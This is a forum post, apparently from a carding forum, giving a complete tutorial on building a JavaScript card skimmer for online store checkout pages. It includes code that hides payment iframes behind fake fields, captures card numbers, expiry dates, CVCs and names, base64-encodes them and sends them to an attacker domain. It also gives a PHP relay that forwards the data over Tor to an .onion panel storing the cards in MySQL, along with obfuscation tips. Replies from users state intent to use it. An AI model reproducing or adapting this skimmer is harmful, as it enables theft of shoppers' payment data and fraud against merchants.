JS sniffer

Tomcat

Professional
Messages
2,686
Reputation
10
Reaction score
720
Points
113
Greetings.

Initially, the article was supposed to be much more detailed and longer, with pictures and real examples, I also thought of breaking it into several parts, but the release turned out differently, enjoy reading.

This article is for informational purposes only, and does not encourage anyone to use it to steal data, but only shows how an attacker can steal the banking information of online store customers.

In this article I will try to explain as briefly as possible BUT informatively how js sniffers work and how to write them.

We will look at writing sniffers that collect information from shops whose checkout forms look like this:

1. Forms located directly on the page

2. Forms whose fields are inside an iframe

3. Forms [regular\frames] that change the code depending on the selected values (for example, changing the delivery country changes the entire form, reloading it - thereby forcing us not to hang up the submission event immediately, but to catch it at the final stage)

4. Redirect, it’s impossible to talk about it in detail, since it all comes down to replacing the link from the original one to a fake one and when returning, an error message is displayed about incorrectly entered data (it’s easy to believe, they still make mistakes), followed by redirecting the victim to the original checkout.

We will consider the following points:

1. Substitution of fields

2. Sniffing data from the fields

3. Sending stolen information to our intermediary server

4. Forwarding information from the intermediary server to the admin panel located in the torus

5. Accepting a request and saving data to a MySql table

Before writing a sniffer, we consider that the following conditions are met:

1. Access to the store with write rights

2. VPS with domain sniffer-domain.com and ssl certificate (free lets encrypt will do) + apache running and php modules installed + curl library + tor service

3. VPS with TOR domain ending in .onion + installed apache and installed php and mysql modules

1 PART:

General points:

1. The sniffer should work only after the window is fully loaded, so that the click event on the checkout button is not an undefined event:

Code:
window.addEventListener('load',(event)=>{
 //code
}

2. Depending on where the sniffer script will be added, it is necessary to check that we are exactly on the checkout page.

The easiest way to do this is to check the address bar:

Code:
if(window.location.toString().search(/checkouts/)!=-1){
 //code
}

3. The code can be obfuscated, on the Internet you will find many online js obfuscators, this will protect your code from accidental detection

Links are NOT advertising, I remember a lot of them:



Main part

Before us is a regular form that is located on the site, we have the following fields:

Code:
<span class="input-wrapper">
 <input type="text" class="input-text" name="name" id="name" placeholder="" value="">
</span>
<span class="input-wrapper">
 <input type="tel" class="input-text" name="cc_number" id="credit_card_number" placeholder="XXXX XXXX XXXX XXXX" value="" maxlength="20">
</span>
<span class="input-wrapper">
 <input type="tel" class="input-text" name="cc_expiry" id="credit_card_expiry" placeholder="MM / YY" value="" maxlength="7">
</span>
<span class="input-wrapper">
 <input type="tel" class="credir_card_cvc" name="" id="credit_card_cvc" placeholder="CVC" value="" maxlength="4">
</span>

According to the Document Object Model (DOM for short), every HTML tag is an object.

The values that the user enters are stored in the value attribute.

To get the value from value we need to access the input tag object and take the value of the value attribute:

Code:
//Declare a variable
let name = "";
//Write value into it
name = document.getElementById(id).value;
//In the same way we get the remaining values...

In certain situations, some fields may have an empty value, or there may be no object at all; for this you need to add a check to avoid run-time errors:

Code:
let name = "";
name = document.getElementById(id) ? document.getElementById(id).value : "";
//Operator ? shortens your code, the line above does the same thing as
if(document.getElementById(id)){
 name = document.getElementById(id).value;
}else{
 name = "";
}

Consider the following example, we have a form in which the fields are not on the page, but are pulled up using an iframe:

Code:
<span class="input-wrapper" id="span_id">
 <iframe name="example_provider" id="iframe_id" title="PaymentForm" src="https://example/cards/payment-form?url=https://shop.com/" width="100%">
 #html tag inside frame
 <html>
 //There will be code for the whole page, which we will skip; this is not important for understanding the principle of operation
 <body>
 <input type="tel" id="credit_card_number" placeholder="XXXX XXXX XXXX XXXX" value="" autocomplete="cc-number" maxlength="20">
 </body>
 </html>
 </iframe>
</span>

If you try to access such an input by its id, you will not get anything since the contents of the iframe are not available to our js script.

Let's analyze the frame, as you can see, our frame has an id called iframe_id, which means we can access it as a DOM object.

Our iframe is contained inside a span block, and the span in turn is its container.

Now the question you should be asking is, “how do we get the value if it is not available to us?” .

We will proceed as follows:

1. Get a link to the object of our iframe and span

2. Hide the iframe

3. Insert our fake field into the span

4. Get the value from the field

5. Let's display an error

6. Fill in the cookie indicating that we have already stolen the data

7. Reload the page

8. The script will check for the presence of a cookie, and if it is not equal to 404, it will show the original form with an iframe

Code:
//This code should be located immediately after the condition that checks the loading of the document and the address, if we are really on the checkout page, this code will work

//Check for cookies
//Function for receiving cookies from the browser, not mine
function get_cookie(cookie_name){
 let check_cookie=document.cookie.match(new RegExp("(?:^|; )"+cookie_name.replace(/([\.$?*|{}\(\)\[\]\\\/\ +^])/g,'\\$1')+"=([^;]*)"));return check_cookie?decodeURIComponent(check_cookie[1]):"404";
}
//Get the cookie value, if it is not found, then we hide the iframe and show the fake
if(get_cookie("already_sniffed")=="404"){
 //The substitution code we wrote above
 //Get links to objects
 let span_block = document.getElementById('span_id');
 let iframe_block = document.getElementById('iframe_id');

 //Hide the iframe
 iframe_block.setAttribute("style","display:none;");

 //Add our fake field, first you must write it yourself, here I will not show you an example since each form is unique, and for this, basic knowledge of html + css is enough, personally, I would do the following: open the checkout page in 2 tabs, on one there would be the original input, and on the other I would hide the iframe, and in the iframe block - in our case it is a span, I would add an <input> tag and write its styles making it as similar as possible, I would indicate the styles inside the tag - YES This is shitty code, but this way we get the tag as one line, and we can then insert it next to the frame:
 span_block.insertAdjacentHTML("afterend","<input id='fake_input' style='our styles for fake input'>");
}

After running this script, our fake form will appear on the page, and the original one will be hidden. As you can see, we added an id to our input in order to refer to its value attribute.

Now, after submitting the form (we will look at this process a little later), we must add the cookie that we checked above, this is necessary so that when the page is loaded, our script understands whether we have captured the information from the current user or not.

We create a cookie and give it the value 1; if there is no cookie, then it is not equal to 1, which means we have not captured the data yet.

Code:
//We will add this code after submitting the form
document.cookie="already_sniffed=1";

This way, other fields are replaced; for example, I showed one

And so, when we wrote a function for replacing fields, we act exactly the same as in the first paragraph, when [sending the form\clicking on the "Place order" button] we get the value of the fields by id using the getElementById function and write them to variables.

At this stage, we [in the case of an iframe, we replaced the field] are on the checkout page, then we will enter the data into the fields and confirm the payment.

Clicking on the payment button, or submitting the form (which is initiated by this very click on the payment button, or by pressing the enter key while on the last input) - these are our 2 triggers to choose from.

We have a button whose code looks like this:

Code:
<input type="submit" name="checkout_place_order" id="place_order" value="Place order">

We must complete the following steps to attach an event to a button:

Code:
//Get the DOM button object by id
let submit_button = "";
submit_button = document.getElementById('place_order');

//Add a click event handler to this button
submit_button.addEventListener('click',function(event){
 //At this stage the form will have to be submitted, and to prevent this we call the function on the event object
 event.preventDefault();
 //In fact, we canceled the click, and now the form will not be sent, and this is necessary so that our script has time to collect data, generate a request, and send it to our server

 //Collect data
 let name_value = "";
 name_value = document.getElementById("name_id").value;
 let lastname_value = "";
 lastname_value = document.getElementById("lastname_id").value;
 let cc_number_value = "";
 cc_number_value = document.getElementById("cc_number_id").value;
 //Etc...

 //Next it will form an associative array from it in the key:value representation
 let cc_info_object ={
 name_key:name_value,
 lastname_key:lastname_value,
 cc_number_key:cc_number_value
 };

 //Array = object, and from this object we will generate a json string
 let json_string = JSON.stringify(new_obj123);

 //Encode the string in base64 so that when analyzing the transmitted data it is more difficult to detect what exactly is being sent
 let base64_json_string = btoa(json_string);

 //Send the data to our receiving server, I also strongly DO NOT recommend using the jquery library with its ajax function since this requires a lot of extra work, it is better to use native javascript capabilities in the form of XMLHttpRequest

 //Initialize the XMLHttpRequest object
 let XMLHttpObj = new XMLHttpRequest();
 //Open a connection to send a post request
 XMLHttpObj.open("POST", "https://sniffer-domain.com/index.php");
 //Specify headers
 XMLHttpObj.setRequestHeader("Content-Type","application/x-www-form-urlencoded");
 //Send the request
 XMLHttpObj.send("sniffed_data="+base64_json_string);
 //Hang up the "request status change" event handler
 XMLHttpObj.onreadystatechange = function(){
 //When the request status changes, we will check it
 if(XMLHttpObj.readyState==XMLHttpRequest.DONE&&XMLHttpObj.status==200){
 //If the request is sent successfully, we attach a cookie (we will check its [presence\value] at the beginning of the script) which will indicate that we have ALREADY stolen the data from the current user, and there is no need to send it again, you have already seen above saw this code
 document.cookie="already_sniffed=1";

 //Now that our sniffing process is over, we must submit the form so as not to break the logic of the site, and there will also be several options:
 //Option A: we have a regular form without iframes, the data will be sent, the order will be added to the database, and the victim will see a message about successful payment
 //Option B: we have a form with a frame, and since the original values are empty (after all, we hid them), the page will reload and display an error stating that the values are not correct
 //To do this, we must get the DOM object of the <form> tag and call submit on it
 //Conditionally: the opening tag of the form looks like this: <form id="checkout_form_id" name="checkout" method="post" class="checkout" action="https://www.original-site.com/checkout/ " enctype="multipart/form-data" novalidate="novalidate">

 //Get the DOM object of the form
 let checkout_form = "";
 checkout_form = document.getElementById('checkout_form_id');

 //We send it manually
 checkout_form.submit();

 //Option B: we have a form with a frame, and since the original values are empty (after all, we hid them), the page will NOT reload, but will simply highlight the inputs, with a message that the fields cannot be empty, here we need to go differently by and instead of submitting the form reload the page
 location = location;
 }else{
 //In case of some error, we still [send the form\reload the page], otherwise the user will be in a logical trap of our script
 let checkout_form = "";
 checkout_form = document.getElementById('checkout_form_id');
 checkout_form.submit();
 // or
 location = location;
 //Here you have a choice: you can also add a cookie and no longer try to [replace fields]+steal data, or you can NOT add a cookie and start the process again
 }
 }
});

I will describe the last important point of the js part.

Sometimes you come across forms that are reloaded entirely when you select a certain value in one of the fields, for example, changing the country in shipping info. In such a situation, if we attach an event to [button\form] when loading the window, then this event will not work, since From the point of view of the web application logic, it will cease to exist.

The solution I found is to attach a click event to the entire page and contact the target.

Code:
//Attach a click event to the document
document.addEventListener('click',event => {

 //Get the object and its value (if it exists)
 let button_value = event.target ? event.target.value : false;

 //Check that the result is not false
 if(button_value){
 //Compare the value with the text from the button - this is the simplest option, it is usually unique
 if(button_value=="Place order"){
 //code to prevent submission -> data collection -> sending data -> ending the script -> manually submitting the form\reloading the page
 }
 }
});

We place the written code inside <script></script> tags, and insert the tag itself before the closing body tag.

At this stage, writing the JS part of our sniffer is completed.

PART 2:

Let's start writing a PHP script that will run on the intermediary server.

Create index.php with the content:

Code:
<?php
 //Add headers, they are necessary for cross-domain request technology to work
 header('Access-Control-Allow-Origin: *');
 header('Access-Control-Allow-Methods: *');
 header('Access-Control-Allow-Headers: *');

 //Check for the presence of a post request with the required key
 if(isset($_POST['sniffed_data'])){

 //Set the URL, we will send the data using the get method
 $url = 'http://ouradminpanel65rdfty78i.onion/index.php?sniffed_data='.$_POST['sniffed_data'];
 //Let me remind you that the contents of $_POST['sniffed_data'] are encoded in base64

 //Our server runs the tor service to send requests to the tor network, in the next line we indicate the tor proxy address in the form ip:port
 $tor_socks = "127.0.0.1:9050";

 //Create a curl object
 $ch = curl_init();

 //Set parameters for our curl request
 curl_setopt($ch, CURLOPT_URL, $url);
 curl_setopt($ch, CURLOPT_PROXY, $tor_socks);
 curl_setopt($ch, CURLOPT_PROXYTYPE, CURLPROXY_SOCKS5_HOSTNAME);
 curl_setopt($ch, CURLOPT_SSL_VERIFYHOST, false);
 curl_setopt($ch, CURLOPT_SSL_VERIFYPEER, false);

 //Simultaneously execute the request and get the response
 $resp = curl_exec($ch);

 //Close the connection
 curl_close($ch);

We need this very intermediary server so that if a sniffer is detected and subsequently abused, we do not lose data.

PART 3:

The final stage, here we receive a request from our intermediary server and save the values to the database.

Create a file index.php with the following content:

Code:
<?php
//Add headers
 header('Access-Control-Allow-Origin: *');
 header('Access-Control-Allow-Methods: *');
 header('Access-Control-Allow-Headers: *');

//When accessing the script, check for the presence of a GET request
if(isset($_GET['sniffed_data'])){
 //Get the contents of the GET parameter, decode the string from base64, convert the json string into an associative object
 $json_decoded_object = json_decode(base64_decode($_GET['sniffed_data']), true);

 //Connect to the database
 $dsn = 'mysql:dbname=cards;host=127.0.0.1;charset=utf8';
 $user = 'root';
 $password = 'root_password';

 //Create a PDO object and connect to the database, if unsuccessful, display an error
 try{
 $pdo = new PDO($dsn, $user, $password);
 echo "Connection success";
 }catch (PDOException $e){
 echo 'Connection failed: ' . $e->getMessage();
 }

 //Prepare a request to protect against injections
 $statement = $pdo->prepare("INSERT INTO ss VALUES(NULL, :cardnumber, :cardexperation, :cardcvc, :name, :lastname)");

 //Execute the request
 $statement->execute(array(
 "cardnumber" => $json_decoded_object['cc_number_key'],
 "cardexperation" => $json_decoded_object['cc_exp_key'],
 "cardcvc" => $json_decoded_object['cc_cvc_key'],
 "name" => $json_decoded_object['name_key'],
 "lastname" => $json_decoded_object['lastname_key']
 ));
}

At this stage, writing the sniffer is finished, this was my first article and I hope it was useful to you, or at least interesting. Ask any questions in a personal message or in a thread, I will be happy to answer - perhaps not only you have asked this question.

(с) The author is C4T
 

polkadot

Carder
Messages
44
Reputation
0
Reaction score
25
Points
18
I am putting it into practice, I will leave questions soon
 

polkadot

Carder
Messages
44
Reputation
0
Reaction score
25
Points
18
What options are there to get Access to the store with writing rights?
 
Top